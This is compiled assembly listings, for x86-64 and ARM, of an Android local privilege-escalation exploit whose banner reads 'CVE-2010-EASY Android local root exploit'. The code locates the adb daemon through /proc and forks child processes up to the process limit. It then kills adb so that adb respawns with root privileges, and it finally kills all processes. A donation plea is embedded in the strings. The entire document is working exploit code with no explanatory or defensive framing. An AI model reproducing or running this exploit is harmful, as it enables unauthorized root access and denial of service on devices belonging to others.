	.file	"76799.c"
	.intel_syntax noprefix
	.text
	.globl	die
	.type	die, @function
die:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	perror@PLT
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	die, .-die
	.section	.rodata
.LC0:
	.string	"/proc/%d/cmdline"
.LC1:
	.string	"/sbin/adb"
	.text
	.globl	find_adb
	.type	find_adb, @function
find_adb:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 288
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -284[rbp], 0
	mov	DWORD PTR -276[rbp], 0
	mov	DWORD PTR -280[rbp], 0
	mov	DWORD PTR -284[rbp], 0
	jmp	.L3
.L7:
	mov	edx, DWORD PTR -284[rbp]
	lea	rax, -272[rbp]
	lea	rsi, .LC0[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	lea	rax, -272[rbp]
	mov	esi, 0
	mov	rdi, rax
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -276[rbp], eax
	cmp	DWORD PTR -276[rbp], 0
	js	.L10
	lea	rax, -272[rbp]
	mov	edx, 256
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	lea	rcx, -272[rbp]
	mov	eax, DWORD PTR -276[rbp]
	mov	edx, 255
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	eax, DWORD PTR -276[rbp]
	mov	edi, eax
	call	close@PLT
	lea	rax, -272[rbp]
	lea	rsi, .LC1[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	je	.L5
	mov	eax, DWORD PTR -284[rbp]
	mov	DWORD PTR -280[rbp], eax
	jmp	.L6
.L10:
	nop
.L5:
	add	DWORD PTR -284[rbp], 1
.L3:
	cmp	DWORD PTR -284[rbp], 31999
	jle	.L7
.L6:
	mov	eax, DWORD PTR -280[rbp]
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L9
	call	__stack_chk_fail@PLT
.L9:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	find_adb, .-find_adb
	.globl	restart_adb
	.type	restart_adb, @function
restart_adb:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, 9
	mov	edi, eax
	call	kill@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	restart_adb, .-restart_adb
	.globl	wait_for_root_adb
	.type	wait_for_root_adb, @function
wait_for_root_adb:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	DWORD PTR -20[rbp], edi
	mov	DWORD PTR -4[rbp], 0
.L15:
	mov	eax, 0
	call	find_adb
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	je	.L13
	mov	eax, DWORD PTR -4[rbp]
	cmp	eax, DWORD PTR -20[rbp]
	jne	.L17
.L13:
	mov	edi, 1
	call	sleep@PLT
	jmp	.L15
.L17:
	nop
	mov	edi, 5
	call	sleep@PLT
	mov	esi, 9
	mov	edi, -1
	call	kill@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	wait_for_root_adb, .-wait_for_root_adb
	.section	.rodata
	.align 8
.LC2:
	.string	"[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n"
.LC3:
	.string	"[*] checking NPROC limit ..."
.LC4:
	.string	"[-] getrlimit"
	.align 8
.LC5:
	.string	"[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting."
.LC6:
	.string	"[+] RLIMIT_NPROC={%lu, %lu}\n"
.LC7:
	.string	"[*] Searching for adb ..."
.LC8:
	.string	"[-] Cannot find adb"
.LC9:
	.string	"[+] Found adb as PID %d\n"
	.align 8
.LC10:
	.string	"[*] Spawning children. Dont type anything and wait for reset!"
	.align 8
.LC11:
	.string	"[*]\n[*] If you like what we are doing you can send us PayPal money to\n[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n[*] If you are a company and feel like you profit from our work,\n[*] we also accept donations > 1000 USD!"
	.align 8
.LC12:
	.string	"[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login."
.LC13:
	.string	"\n[+] Forked %d childs.\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 80
	mov	DWORD PTR -68[rbp], edi
	mov	QWORD PTR -80[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -40[rbp], 0
	mov	DWORD PTR -48[rbp], 0
	mov	DWORD PTR -44[rbp], 1
	mov	BYTE PTR -49[rbp], 0
	lea	rdi, .LC2[rip]
	call	puts@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	lea	rax, -32[rbp]
	mov	rsi, rax
	mov	edi, 6
	call	getrlimit@PLT
	test	eax, eax
	jns	.L19
	lea	rdi, .LC4[rip]
	call	die
.L19:
	mov	rax, QWORD PTR -32[rbp]
	cmp	rax, -1
	jne	.L20
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L20:
	mov	rdx, QWORD PTR -24[rbp]
	mov	rax, QWORD PTR -32[rbp]
	mov	rsi, rax
	lea	rdi, .LC6[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	eax, 0
	call	find_adb
	mov	DWORD PTR -40[rbp], eax
	cmp	DWORD PTR -40[rbp], 0
	jne	.L21
	lea	rdi, .LC8[rip]
	call	die
.L21:
	mov	eax, DWORD PTR -40[rbp]
	mov	esi, eax
	lea	rdi, .LC9[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC10[rip]
	call	puts@PLT
	lea	rdi, .LC11[rip]
	call	puts@PLT
	lea	rdi, .LC12[rip]
	call	puts@PLT
	mov	edi, 5
	call	sleep@PLT
	call	fork@PLT
	test	eax, eax
	jle	.L22
	mov	edi, 0
	call	exit@PLT
.L22:
	call	setsid@PLT
	lea	rax, -16[rbp]
	mov	rdi, rax
	call	pipe@PLT
	call	fork@PLT
	test	eax, eax
	jne	.L23
	mov	eax, DWORD PTR -16[rbp]
	mov	edi, eax
	call	close@PLT
.L27:
	call	fork@PLT
	mov	DWORD PTR -36[rbp], eax
	cmp	DWORD PTR -36[rbp], 0
	jne	.L24
	mov	edi, 0
	call	exit@PLT
.L24:
	cmp	DWORD PTR -36[rbp], 0
	jns	.L25
	cmp	DWORD PTR -44[rbp], 0
	je	.L27
	mov	eax, DWORD PTR -48[rbp]
	mov	esi, eax
	lea	rdi, .LC13[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -44[rbp], 0
	mov	eax, DWORD PTR -12[rbp]
	lea	rcx, -49[rbp]
	mov	edx, 1
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	mov	eax, DWORD PTR -12[rbp]
	mov	edi, eax
	call	close@PLT
	jmp	.L27
.L25:
	add	DWORD PTR -48[rbp], 1
	jmp	.L27
.L23:
	mov	eax, DWORD PTR -12[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, DWORD PTR -16[rbp]
	lea	rcx, -49[rbp]
	mov	edx, 1
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	eax, DWORD PTR -40[rbp]
	mov	edi, eax
	call	restart_adb
	call	fork@PLT
	test	eax, eax
	jne	.L28
	call	fork@PLT
.L29:
	mov	edi, 29756
	call	sleep@PLT
	jmp	.L29
.L28:
	mov	eax, DWORD PTR -40[rbp]
	mov	edi, eax
	call	wait_for_root_adb
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L31
	call	__stack_chk_fail@PLT
.L31:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"76799.c"
	.text
	.align	2
	.global	die
	.syntax unified
	.arm
	.fpu softvfp
	.type	die, %function
die:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r0, [fp, #-8]
	bl	perror
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	exit
	.size	die, .-die
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/proc/%d/cmdline\000"
	.align	2
.LC1:
	.ascii	"/sbin/adb\000"
	.align	2
.LC2:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	find_adb
	.syntax unified
	.arm
	.fpu softvfp
	.type	find_adb, %function
find_adb:
	@ args = 0, pretend = 0, frame = 272
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #272
	ldr	r3, .L11
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-276]
	mov	r3, #0
	str	r3, [fp, #-268]
	mov	r3, #0
	str	r3, [fp, #-272]
	mov	r3, #0
	str	r3, [fp, #-276]
	b	.L3
.L7:
	sub	r3, fp, #264
	ldr	r2, [fp, #-276]
	ldr	r1, .L11+4
	mov	r0, r3
	bl	sprintf
	sub	r3, fp, #264
	mov	r1, #0
	mov	r0, r3
	bl	open
	str	r0, [fp, #-268]
	ldr	r3, [fp, #-268]
	cmp	r3, #0
	blt	.L10
	sub	r3, fp, #264
	mov	r2, #256
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #264
	mov	r2, #255
	mov	r1, r3
	ldr	r0, [fp, #-268]
	bl	read
	ldr	r0, [fp, #-268]
	bl	close
	sub	r3, fp, #264
	ldr	r1, .L11+8
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	beq	.L5
	ldr	r3, [fp, #-276]
	str	r3, [fp, #-272]
	b	.L6
.L10:
	nop
.L5:
	ldr	r3, [fp, #-276]
	add	r3, r3, #1
	str	r3, [fp, #-276]
.L3:
	ldr	r3, [fp, #-276]
	cmp	r3, #32000
	blt	.L7
.L6:
	ldr	r3, [fp, #-272]
	ldr	r2, .L11
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L9
	bl	__stack_chk_fail
.L9:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L12:
	.align	2
.L11:
	.word	.LC2
	.word	.LC0
	.word	.LC1
	.size	find_adb, .-find_adb
	.align	2
	.global	restart_adb
	.syntax unified
	.arm
	.fpu softvfp
	.type	restart_adb, %function
restart_adb:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	mov	r1, #9
	ldr	r0, [fp, #-8]
	bl	kill
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	restart_adb, .-restart_adb
	.align	2
	.global	wait_for_root_adb
	.syntax unified
	.arm
	.fpu softvfp
	.type	wait_for_root_adb, %function
wait_for_root_adb:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-8]
.L17:
	bl	find_adb
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L15
	ldr	r2, [fp, #-8]
	ldr	r3, [fp, #-16]
	cmp	r2, r3
	bne	.L19
.L15:
	mov	r0, #1
	bl	sleep
	b	.L17
.L19:
	nop
	mov	r0, #5
	bl	sleep
	mov	r1, #9
	mvn	r0, #0
	bl	kill
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	wait_for_root_adb, .-wait_for_root_adb
	.section	.rodata
	.align	2
.LC3:
	.ascii	"[*] CVE-2010-EASY Android local root exploit (C) 20"
	.ascii	"10 by 743C\012\000"
	.align	2
.LC4:
	.ascii	"[*] checking NPROC limit ...\000"
	.align	2
.LC5:
	.ascii	"[-] getrlimit\000"
	.align	2
.LC6:
	.ascii	"[-] No RLIMIT_NPROC set. Exploit would just crash m"
	.ascii	"achine. Exiting.\000"
	.align	2
.LC7:
	.ascii	"[+] RLIMIT_NPROC={%lu, %lu}\012\000"
	.align	2
.LC8:
	.ascii	"[*] Searching for adb ...\000"
	.align	2
.LC9:
	.ascii	"[-] Cannot find adb\000"
	.align	2
.LC10:
	.ascii	"[+] Found adb as PID %d\012\000"
	.align	2
.LC11:
	.ascii	"[*] Spawning children. Dont type anything and wait "
	.ascii	"for reset!\000"
	.align	2
.LC12:
	.ascii	"[*]\012[*] If you like what we are doing you can se"
	.ascii	"nd us PayPal money to\012[*] 7-4-3-C@web.de so we c"
	.ascii	"an compensate time, effort and HW costs.\012[*] If "
	.ascii	"you are a company and feel like you profit from our"
	.ascii	" work,\012[*] we also accept donations > 1000 USD!\000"
	.align	2
.LC13:
	.ascii	"[*]\012[*] adb connection will be reset. restart ad"
	.ascii	"b server on desktop and re-login.\000"
	.align	2
.LC14:
	.ascii	"\012[+] Forked %d childs.\012\000"
	.align	2
.LC15:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 48
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #48
	str	r0, [fp, #-48]
	str	r1, [fp, #-52]
	ldr	r3, .L34
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-32]
	mov	r3, #0
	str	r3, [fp, #-40]
	mov	r3, #1
	str	r3, [fp, #-36]
	mov	r3, #0
	strb	r3, [fp, #-41]
	ldr	r0, .L34+4
	bl	puts
	ldr	r0, .L34+8
	bl	puts
	sub	r3, fp, #24
	mov	r1, r3
	mov	r0, #6
	bl	getrlimit
	mov	r3, r0
	cmp	r3, #0
	bge	.L21
	ldr	r0, .L34+12
	bl	die
.L21:
	ldr	r3, [fp, #-24]
	cmn	r3, #1
	bne	.L22
	ldr	r0, .L34+16
	bl	puts
	mov	r0, #1
	bl	exit
.L22:
	ldr	r3, [fp, #-24]
	ldr	r2, [fp, #-20]
	mov	r1, r3
	ldr	r0, .L34+20
	bl	printf
	ldr	r0, .L34+24
	bl	puts
	bl	find_adb
	str	r0, [fp, #-32]
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	bne	.L23
	ldr	r0, .L34+28
	bl	die
.L23:
	ldr	r1, [fp, #-32]
	ldr	r0, .L34+32
	bl	printf
	ldr	r0, .L34+36
	bl	puts
	ldr	r0, .L34+40
	bl	puts
	ldr	r0, .L34+44
	bl	puts
	mov	r0, #5
	bl	sleep
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	ble	.L24
	mov	r0, #0
	bl	exit
.L24:
	bl	setsid
	sub	r3, fp, #16
	mov	r0, r3
	bl	pipe
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	bne	.L25
	ldr	r3, [fp, #-16]
	mov	r0, r3
	bl	close
.L29:
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-28]
	cmp	r3, #0
	bne	.L26
	mov	r0, #0
	bl	exit
.L26:
	ldr	r3, [fp, #-28]
	cmp	r3, #0
	bge	.L27
	ldr	r3, [fp, #-36]
	cmp	r3, #0
	beq	.L29
	ldr	r1, [fp, #-40]
	ldr	r0, .L34+48
	bl	printf
	mov	r3, #0
	str	r3, [fp, #-36]
	ldr	r3, [fp, #-12]
	sub	r1, fp, #41
	mov	r2, #1
	mov	r0, r3
	bl	write
	ldr	r3, [fp, #-12]
	mov	r0, r3
	bl	close
	b	.L29
.L27:
	ldr	r3, [fp, #-40]
	add	r3, r3, #1
	str	r3, [fp, #-40]
	b	.L29
.L25:
	ldr	r3, [fp, #-12]
	mov	r0, r3
	bl	close
	ldr	r3, [fp, #-16]
	sub	r1, fp, #41
	mov	r2, #1
	mov	r0, r3
	bl	read
	ldr	r0, [fp, #-32]
	bl	restart_adb
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	bne	.L30
	bl	fork
.L31:
	ldr	r0, .L34+52
	bl	sleep
	b	.L31
.L30:
	ldr	r0, [fp, #-32]
	bl	wait_for_root_adb
	mov	r3, #0
	ldr	r2, .L34
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L33
	bl	__stack_chk_fail
.L33:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L35:
	.align	2
.L34:
	.word	.LC15
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	29756
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
